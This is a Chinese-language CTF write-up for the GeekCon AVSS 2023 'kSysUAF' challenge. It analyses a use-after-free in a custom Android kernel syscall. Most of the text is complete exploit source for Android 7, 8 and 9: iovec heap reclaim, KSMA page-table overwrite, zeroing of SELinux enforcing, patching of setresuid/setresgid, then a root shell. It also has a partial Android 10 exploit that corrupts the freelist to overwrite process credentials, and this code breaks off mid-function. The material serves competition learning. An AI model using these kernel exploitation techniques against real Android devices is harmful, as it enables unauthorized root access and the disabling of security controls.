GeekCon AVSS 2023 Qualifier - kSysUAF

image-20230918173733385

附件:KV3.tar.gz

漏洞分析

在新创建的602号系统调用中,存在一个UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
#define BUFSZ 256
struct st1{
char name[BUFSZ];
char str[128];
};

struct st1 * gst1[ARR_SIZE];

noinline void del_buffer(unsigned int idx) {
if (gst1[idx]) {
kfree(gst1[idx]); // kfree后未清空全局变量gst1[idx]中的地址
}
}

这个UAF的特点:

  • 具备 UAF 读和写的双重能力(但只能读写前256字节,那后面128字节有什么用呢?)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    noinline void show_buffer(char __user * addr, unsigned long len, unsigned int idx) {
    if (gst1[idx]) {
    if (len <= BUFSZ)
    my_ctu(gst1[idx]->name, addr, len);
    }
    }

    noinline void edit_buffer(char __user * addr, unsigned long len, unsigned int idx) {
    if (gst1[idx]) {
    if (len <= BUFSZ)
    my_cfu(gst1[idx]->name, addr, len);
    }
    }
  • UAF的堆块大小为 256+128=384,在kmalloc-512中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    $ cat /proc/slabinfo
    [...]
    kmalloc-8192 16 16 8192 4 8 : tunables 0 0 0 : slabdata 4 4 0
    kmalloc-4096 80 80 4096 8 8 : tunables 0 0 0 : slabdata 10 10 0
    kmalloc-2048 136 136 2048 8 4 : tunables 0 0 0 : slabdata 17 17 0
    kmalloc-1024 255 264 1024 8 2 : tunables 0 0 0 : slabdata 33 33 0
    kmalloc-512 411 432 512 8 1 : tunables 0 0 0 : slabdata 54 54 0
    kmalloc-256 1986 2352 256 16 1 : tunables 0 0 0 : slabdata 147 147 0
    kmalloc-192 1323 1323 192 21 1 : tunables 0 0 0 : slabdata 63 63 0
    kmalloc-128 2816 2816 128 32 1 : tunables 0 0 0 : slabdata 88 88 0
    kmalloc-64 17383 18816 64 64 1 : tunables 0 0 0 : slabdata 294 294 0
    [...]

漏洞利用

android 7/8/9:

  • 使用iovec(pipe readv)占住释放的堆块
  • 利用UAF写改掉iovec中的地址
  • 往管道中写入内容,就能达到任意地址写任意值的目的(到android 10上该方法不适用了)
  • KSMA提权

android 10/11:

  • 改freelist链表,实现任意地址写任意值
  • 参考星盟安全的wp,构造任意地址读写原语,搜索init_task中task_struct链表来提权

比赛的时候忘了可以直接改freelist链表了,一直在找有哪个结构体大小可以满足kmalloc-512的。

android 7

内核版本:linux 3.10.0

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_UAF 602

unsigned long arg1, arg2, arg3;


void* new_buffer(int idx){
void* ret = 0;
arg3 = ((idx &0xff)<<8)|(0&0xff);
// printf("arg3: 0x%lx\n", arg3);
ret = syscall(SYS_UAF, 0, 0, arg3);
return ret;
}

void del_buffer(int idx){
arg3 = ((idx &0xff)<<8)|(1&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, 0, 0, arg3);
}

void show_buffer(void* addr, unsigned long len, int idx){
arg1 = addr;
arg2 = len;
arg3 = ((idx &0xff)<<8)|(2&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, arg1, arg2, arg3);
}

void edit_buffer(void* addr, unsigned long len, int idx){
arg1 = addr;
arg2 = len;
arg3 = ((idx &0xff)<<8)|(3&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, arg1, arg2, arg3);
}

// void call(int idx){
// arg3 = ((idx &0xff)<<8)|(4&0xff);
// printf("arg3: 0x%lx\n", arg3);
// syscall(SYS_UAF, arg1, arg2, arg3);
// }


#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}


unsigned long SYMBOL__swapper_pg_dir = 0xFFFFFFC00007D000;

#define IOVEC_NUM 17
#define UAF_INDEX 4
#define IMAGE_PHYS_ADDR 0x40080000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFFC000080000
// #define WRITE_ADDR 0xFFFFFFC000618AB0
// #define WRITE_SIZE 0x8
unsigned long selinux_enforcing_addr = 0xFFFFFFC0006EBACC;

int pipe_fd[2];
unsigned long d_block_addr;
unsigned long d_block;


void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("descriptor: 0x%lx + %d x 8 = 0x%lx\n", SYMBOL__swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN

printf("d_block = 0x%lx\n", d_block);
}


void* write_pipe(void* arg){
// WRITE CONTENT
unsigned long cont_buffer[2] = {0};
cont_buffer[0] = d_block;
cont_buffer[1] = d_block;

// WRITE TARGET_ADDR
unsigned long target_addr[2] = {0};
target_addr[0] = d_block_addr;
target_addr[1] = 0x10;

sleep(3);

edit_buffer(target_addr, 0x10, UAF_INDEX);
printf("child: write to pipe\n");
write(pipe_fd[1], cont_buffer, 0x10);

hexdump(target_addr, 0x10);
hexdump(cont_buffer, 0x10);
printf("child: exit\n");
return 0;
}

int main(){
init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

pthread_t thr_write;
pthread_create(&thr_write, NULL, write_pipe, NULL);

void* test_addr = malloc(0x200);

struct iovec iovec_arr[IOVEC_NUM] = {0}; // heap size: 0x10*17=272
pipe(pipe_fd);
memset(iovec_arr, 0x0, sizeof(iovec_arr));
printf("sizeof(iovec_arr): %d\n", sizeof(iovec_arr));
iovec_arr[0].iov_base = test_addr;
iovec_arr[0].iov_len = 0x10;

new_buffer(UAF_INDEX);
del_buffer(UAF_INDEX);

// unsigned long target_addr[2] = {0};
// target_addr[0] = 0xFFFFFFC000618AB0;
// target_addr[1] = 0x10;
// edit_buffer(target_addr, 0x10, UAF_INDEX);

readv(pipe_fd[0], iovec_arr, IOVEC_NUM);

printf("read pipe: 0x%lx 0x%lx\n", *(unsigned long*)test_addr, *(unsigned long*)(test_addr+0x8));

pthread_join(thr_write, NULL);

// write kernel image
/* selinux_enforcing*/
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x80000 + (selinux_enforcing_addr - IMAGE_BASE);
*(int*)selinux_enforcing_addr_new = 0x0;

/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFFC0000ADF44;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresuid_if_addr - IMAGE_BASE);
*(char *)(setresuid_if_addr_new+3) = 0x34;
printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new);

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFFC0000AE1BC;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresgid_if_addr - IMAGE_BASE);
*(char *)(setresgid_if_addr_new+3) = 0x35;
printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);


setresuid(0,0,0);
setresgid(0,0,0);

system("/system/bin/sh");

printf("exit\n");
return 0;
}

android 8

内核版本:linux 3.18.94

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_UAF 602

unsigned long arg1, arg2, arg3;


void* new_buffer(int idx){
void* ret = 0;
arg3 = ((idx &0xff)<<8)|(0&0xff);
// printf("arg3: 0x%lx\n", arg3);
ret = syscall(SYS_UAF, 0, 0, arg3);
return ret;
}

void del_buffer(int idx){
arg3 = ((idx &0xff)<<8)|(1&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, 0, 0, arg3);
}

void show_buffer(void* addr, unsigned long len, int idx){
arg1 = addr;
arg2 = len;
arg3 = ((idx &0xff)<<8)|(2&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, arg1, arg2, arg3);
}

void edit_buffer(void* addr, unsigned long len, int idx){
arg1 = addr;
arg2 = len;
arg3 = ((idx &0xff)<<8)|(3&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, arg1, arg2, arg3);
}

// void call(int idx){
// arg3 = ((idx &0xff)<<8)|(4&0xff);
// printf("arg3: 0x%lx\n", arg3);
// syscall(SYS_UAF, arg1, arg2, arg3);
// }


#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}


unsigned long SYMBOL__swapper_pg_dir = 0xFFFFFFC000A05000;

#define IOVEC_NUM 17
#define UAF_INDEX 6
#define IMAGE_PHYS_ADDR 0x40080000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFFC000080000
// #define WRITE_ADDR 0xFFFFFFC000618AB0
// #define WRITE_SIZE 0x8
unsigned long selinux_enforcing_addr = 0xFFFFFFC0009C7524;

int pipe_fd[2];
unsigned long d_block_addr;
unsigned long d_block;


void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("descriptor: 0x%lx + %d x 8 = 0x%lx\n", SYMBOL__swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN

printf("d_block = 0x%lx\n", d_block);
}


void* write_pipe(void* arg){
// WRITE CONTENT
unsigned long cont_buffer[2] = {0};
cont_buffer[0] = d_block;
cont_buffer[1] = d_block;

// WRITE TARGET_ADDR
unsigned long target_addr[2] = {0};
target_addr[0] = d_block_addr;
target_addr[1] = 0x10;

sleep(3);

edit_buffer(target_addr, 0x10, UAF_INDEX);
printf("child: write to pipe\n");
write(pipe_fd[1], cont_buffer, 0x10);

hexdump(target_addr, 0x10);
hexdump(cont_buffer, 0x10);
printf("child: exit\n");
return 0;
}


int main(){
init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

pthread_t thr_write;
pthread_create(&thr_write, NULL, write_pipe, NULL);

void* test_addr = malloc(0x200);

struct iovec iovec_arr[IOVEC_NUM] = {0}; // heap size: 0x10*17=272
pipe(pipe_fd);
memset(iovec_arr, 0x0, sizeof(iovec_arr));
printf("sizeof(iovec_arr): %d\n", sizeof(iovec_arr));
iovec_arr[0].iov_base = test_addr;
iovec_arr[0].iov_len = 0x10;

new_buffer(UAF_INDEX);
del_buffer(UAF_INDEX);

// unsigned long target_addr[2] = {0};
// target_addr[0] = 0xFFFFFFC000618AB0;
// target_addr[1] = 0x10;
// edit_buffer(target_addr, 0x10, UAF_INDEX);

readv(pipe_fd[0], iovec_arr, IOVEC_NUM);

printf("read pipe: 0x%lx 0x%lx\n", *(unsigned long*)test_addr, *(unsigned long*)(test_addr+0x8));

// printf("d_block_addr: 0x%lx, *d_block_addr: 0x%lx\n",d_block_addr, *(unsigned long*)d_block_addr);

pthread_join(thr_write, NULL);

// write kernel image
/* selinux_enforcing*/
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x80000 + (selinux_enforcing_addr - IMAGE_BASE);
*(int*)selinux_enforcing_addr_new = 0x0;

/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFFC0000AF650;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresuid_if_addr - IMAGE_BASE);
*(char *)(setresuid_if_addr_new+3) = 0x34;
printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new);

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFFC0000AF8B0;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresgid_if_addr - IMAGE_BASE);
*(char *)(setresgid_if_addr_new+3) = 0x35;
printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);


setresuid(0,0,0);
setresgid(0,0,0);

system("/system/bin/sh");

printf("exit\n");
return 0;
}

android 9

内核版本:linux 3.18.94

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_UAF 602

unsigned long arg1, arg2, arg3;


void* new_buffer(int idx){
void* ret = 0;
arg3 = ((idx &0xff)<<8)|(0&0xff);
// printf("arg3: 0x%lx\n", arg3);
ret = syscall(SYS_UAF, 0, 0, arg3);
return ret;
}

void del_buffer(int idx){
arg3 = ((idx &0xff)<<8)|(1&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, 0, 0, arg3);
}

void show_buffer(void* addr, unsigned long len, int idx){
arg1 = addr;
arg2 = len;
arg3 = ((idx &0xff)<<8)|(2&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, arg1, arg2, arg3);
}

void edit_buffer(void* addr, unsigned long len, int idx){
arg1 = addr;
arg2 = len;
arg3 = ((idx &0xff)<<8)|(3&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, arg1, arg2, arg3);
}

// void call(int idx){
// arg3 = ((idx &0xff)<<8)|(4&0xff);
// printf("arg3: 0x%lx\n", arg3);
// syscall(SYS_UAF, arg1, arg2, arg3);
// }


#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}


unsigned long SYMBOL__swapper_pg_dir = 0xFFFFFFC000A01000;

#define IOVEC_NUM 17
#define UAF_INDEX 6
#define IMAGE_PHYS_ADDR 0x40080000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFFC000080000
// #define WRITE_ADDR 0xFFFFFFC000618AB0
// #define WRITE_SIZE 0x8
unsigned long selinux_enforcing_addr = 0xFFFFFFC0009C33B4;

int pipe_fd[2];
unsigned long d_block_addr;
unsigned long d_block;


void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("descriptor: 0x%lx + %d x 8 = 0x%lx\n", SYMBOL__swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN
printf("d_block = 0x%lx\n", d_block);
}


void* write_pipe(void* arg){
// WRITE CONTENT
unsigned long cont_buffer[2] = {0};
cont_buffer[0] = d_block;
cont_buffer[1] = d_block;

// WRITE TARGET_ADDR
unsigned long target_addr[2] = {0};
target_addr[0] = d_block_addr;
target_addr[1] = 0x10;

sleep(3);

edit_buffer(target_addr, 0x10, UAF_INDEX);
printf("child: write to pipe\n");
write(pipe_fd[1], cont_buffer, 0x10);

hexdump(target_addr, 0x10);
hexdump(cont_buffer, 0x10);
printf("child: exit\n");
return 0;
}



int main(){
init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

pthread_t thr_write;
pthread_create(&thr_write, NULL, write_pipe, NULL);

void* test_addr = malloc(0x200);

struct iovec iovec_arr[IOVEC_NUM] = {0}; // heap size: 0x10*17=272
pipe(pipe_fd);
memset(iovec_arr, 0x0, sizeof(iovec_arr));
printf("sizeof(iovec_arr): %d\n", sizeof(iovec_arr));
iovec_arr[0].iov_base = test_addr;
iovec_arr[0].iov_len = 0x10;

new_buffer(UAF_INDEX);
del_buffer(UAF_INDEX);

// unsigned long target_addr[2] = {0};
// target_addr[0] = 0xFFFFFFC000618AB0;
// target_addr[1] = 0x10;
// edit_buffer(target_addr, 0x10, UAF_INDEX);

readv(pipe_fd[0], iovec_arr, IOVEC_NUM);

printf("read pipe: 0x%lx 0x%lx\n", *(unsigned long*)test_addr, *(unsigned long*)(test_addr+0x8));

// printf("d_block_addr: 0x%lx, *d_block_addr: 0x%lx\n",d_block_addr, *(unsigned long*)d_block_addr);

pthread_join(thr_write, NULL);

// write kernel image
/* selinux_enforcing*/
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x80000 + (selinux_enforcing_addr - IMAGE_BASE);
*(int*)selinux_enforcing_addr_new = 0x0;

/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFFC0000AF260;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresuid_if_addr - IMAGE_BASE);
*(char *)(setresuid_if_addr_new+3) = 0x34;
printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new);

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFFC0000AF4C0;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresgid_if_addr - IMAGE_BASE);
*(char *)(setresgid_if_addr_new+3) = 0x35;
printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);


setresuid(0,0,0);
setresgid(0,0,0);

system("/system/bin/sh");

printf("exit\n");
return 0;
}

android 10

内核版本:linux 4.14.175

这个题竟然忘了最最基础的UAF的利用,不需要找目标大小的堆块,因为堆块内部的内容天然可以任意读写。那么直接改freelist链表,就能达到任意地址写。

1
2
malloc -> free -> 改 -> malloc -> malloc
最后一次malloc得到的是“改”的地址,于是对最后一次malloc得到的堆块读写,就相当于任意地址读写

此时,为了防止再次申请时系统崩溃,需要调整一下 kmalloc-512 空闲堆块指向的内容,使其指向一个合法堆块(通过free),并设置该堆块下一个指向为空(将堆块前8字节置0)。

结合 星盟安全的wp 思路:

  • 有了一次任意地址写后,由于本题的特殊性,可以将伪造的堆块fake_heap指向bss段的 gst1(0xffffff8008e9bfb0),这样就可以通过 edit_buffer(xx, xx, 2) + show_buffer(xx, xx, 0) 达到任意地址读,通过 edit_buffer(xx, xx, 2) + edit_buffer(xx, xx, 0) 达到任意地址写。从而构造出无数次任意地址读写(封装一个aaw和一个aar)。

  • 利用这一次任意地址写,写bss段的gst1,,然后遍历 init_task->tasks.next 和比较各个 task_struct->comm ,寻找名字为 “exp” 的项(反向查找更快),对应就是当前进程 “exp” 的task_struct,从而获得当前进程的cred地址。

  • 覆写cred内容(或者覆写 task_struct->cred 为 init_cred),即可提权。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_UAF 602

unsigned long arg1, arg2, arg3;


void* new_buffer(int idx){
void* ret = 0;
arg3 = ((idx &0xff)<<8)|(0&0xff);
// printf("arg3: 0x%lx\n", arg3);
ret = syscall(SYS_UAF, 0, 0, arg3);
return ret;
}

void del_buffer(int idx){
arg3 = ((idx &0xff)<<8)|(1&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, 0, 0, arg3);
}

void show_buffer(void* addr, unsigned long len, int idx){
arg1 = addr;
arg2 = len;
arg3 = ((idx &0xff)<<8)|(2&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, arg1, arg2, arg3);
}

void edit_buffer(void* addr, unsigned long len, int idx){
arg1 = addr;
arg2 = len;
arg3 = ((idx &0xff)<<8)|(3&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, arg1, arg2, arg3);
}



#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}



void aaw(unsigned long k_addr, void* u_addr, unsigned long len){
unsigned long gst1_idx_0 = k_addr;
edit_buffer(&gst1_idx_0, 8, 2);
edit_buffer(u_addr, len, 0);
}

void aar(unsigned long k_addr, void* u_addr, unsigned long len){
unsigned long gst1_idx_0 = k_addr;
edit_buffer(&gst1_idx_0, 8, 2);
show_buffer(u_addr, len, 0);
}

#define TASK_COMM_OFFSET 0x750
#define TASK_TASKS_OFFSET 0x4a8
#define TASK_CRED_OFFSET 0x748

unsigned long get_exp_task(){
unsigned long init_task = 0xFFFFFF8008DBAF80;
unsigned long exp_task_addr = 0x0;
unsigned long task_now = init_task;
unsigned long temp_val[2] = {0x0};

int i = 0;
while( (exp_task_addr == 0)){
aar(task_now+TASK_TASKS_OFFSET, temp_val, 8);
task_now = temp_val[0]-TASK_TASKS_OFFSET;
printf("task_struct: 0x%lx\n",task_now);
if(task_now == init_task){
printf("[X] failed to find target task_struct!\n");
break;
}

aar(task_now+TASK_COMM_OFFSET, temp_val, 0x10);
printf("task_struct->comm: %s\n", temp_val);
if( !strcmp(temp_val, "exp") ){
exp_task_addr = task_now;
printf("find the task! task_struct: 0x%lx\n",task_now);
}
printf("\n");
}

return exp_task_addr;
}

int main(){
/* prepare */
new_buffer(0);
del_buffer(0);

unsigned long fake_heap = 0xffffff8008e9bfb0; // <gst1>
